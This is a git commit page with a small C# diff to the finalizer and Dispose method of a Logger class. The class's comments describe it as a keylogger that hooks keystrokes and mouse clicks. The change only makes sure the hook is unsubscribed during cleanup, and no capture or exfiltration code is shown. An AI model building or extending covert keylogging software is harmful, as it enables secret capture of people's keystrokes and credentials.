Modified implementation of Dispose

The finalizer really should only be a safe-guard for ensuring that the
keylogger unsubscribes from the hook.
This commit is contained in:
yankejustin 2015-05-22 23:24:28 -04:00
parent e01b0af583
commit c6e29f6405
1 changed files with 3 additions and 3 deletions

View File

@ -61,7 +61,7 @@ public Logger(double flushInterval)
// It is a safe-guard because we want to make sure we unsubscribe from these // It is a safe-guard because we want to make sure we unsubscribe from these
// things or the client may not be able to get keystrokes/mouse clicks to any // things or the client may not be able to get keystrokes/mouse clicks to any
// other application (including Windows). // other application (including Windows).
Dispose(true); Dispose(false);
} }
public void Dispose() public void Dispose()
@ -82,10 +82,10 @@ protected virtual void Dispose(bool disposing)
_timerFlush.Dispose(); _timerFlush.Dispose();
} }
Unsubscribe();
disposed = true; disposed = true;
} }
Unsubscribe();
} }
} }